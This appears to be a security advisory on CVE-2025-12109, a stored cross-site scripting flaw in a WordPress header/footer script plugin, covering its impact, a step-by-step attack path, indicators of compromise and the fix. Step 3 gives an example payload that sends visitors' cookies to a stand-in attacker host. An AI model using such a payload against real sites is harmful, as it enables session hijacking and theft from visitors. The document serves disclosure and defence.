CVE-2025-12109: 
WordPress vulnerability analysis and mitigation

CVE-2025-12109 is a Stored Cross-Site Scripting (XSS) vulnerability in the Header Footer Script Adder – Insert Code in Header, Body & Footer plugin for WordPress. It affects all versions up to and including 2.0.5, and was published on December 13, 2025. The flaw allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into posts that execute for any user visiting the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is insufficient input sanitization and output escaping in the plugin's script adder feature used within WordPress posts (CWE-79: Improper Neutralization of Input During Web Page Generation). An authenticated attacker with at least Contributor-level privileges can craft a malicious script payload and insert it via the plugin's script adder interface. Because the input is not properly sanitized before storage or escaped before rendering, the injected script is persisted in the database and executed in the browsers of all subsequent visitors to the affected page. The attack vector is network-based, requires low privileges, and no user interaction beyond visiting the page is needed for the payload to trigger (Wordfence, ENISA EUVD).

Successful exploitation allows injected JavaScript to execute in the context of any user's browser when they visit a compromised page, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page defacement, malicious redirects). Because the scope is changed (S:C in CVSS), the impact extends beyond the plugin itself to the broader WordPress site and its visitors. Availability is not directly impacted, but the attack could be leveraged to escalate privileges, spread malware to site visitors, or perform actions on behalf of authenticated users including administrators (Wordfence).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-12109 as of the available data. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated flaws. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, ENISA EUVD).

1. Reconnaissance: Identify WordPress sites running the Header Footer Script Adder plugin version ≤ 2.0.5 using tools like WPScan or by inspecting plugin directories.
2. Obtain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
3. Inject Malicious Script: Navigate to the post editor and use the plugin's script adder feature to insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the header, body, or footer script field of a post.
4. Publish or Update the Post: Save or publish the post containing the injected script. The payload is stored in the WordPress database without proper sanitization.
5. Trigger Execution: When any user (including administrators) visits the affected post or page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Database: Unexpected <script> tags or encoded JavaScript payloads stored in WordPress post meta fields associated with the Header Footer Script Adder plugin.
• Logs: WordPress access logs showing POST requests to post editing endpoints (/wp-admin/post.php) from low-privileged contributor accounts inserting script content.
• Network: Outbound requests from site visitors' browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages using the plugin.
• File System: No direct file system artifacts expected for stored XSS, but review plugin files in wp-content/plugins/header-and-footer-script-adder/ for unauthorized modifications.
• Browser/Client: Unexpected redirects or pop-ups experienced by users visiting posts on the affected WordPress site (Wordfence).

Update the Header Footer Script Adder plugin to version 2.0.6 or later, which addresses the insufficient input sanitization and output escaping issues. Site administrators should audit existing posts for any suspicious script content injected via the plugin's script adder feature. As a temporary workaround, restrict Contributor-level user registration and review contributor permissions until the patch is applied. The patch is available via the WordPress plugin repository (Wordfence, WordPress Changeset).

The vulnerability was discovered and reported by Wordfence, which included it in their weekly WordPress vulnerability report for December 8–14, 2025. No significant broader media coverage or notable researcher commentary beyond the Wordfence advisory has been identified (Wordfence Blog).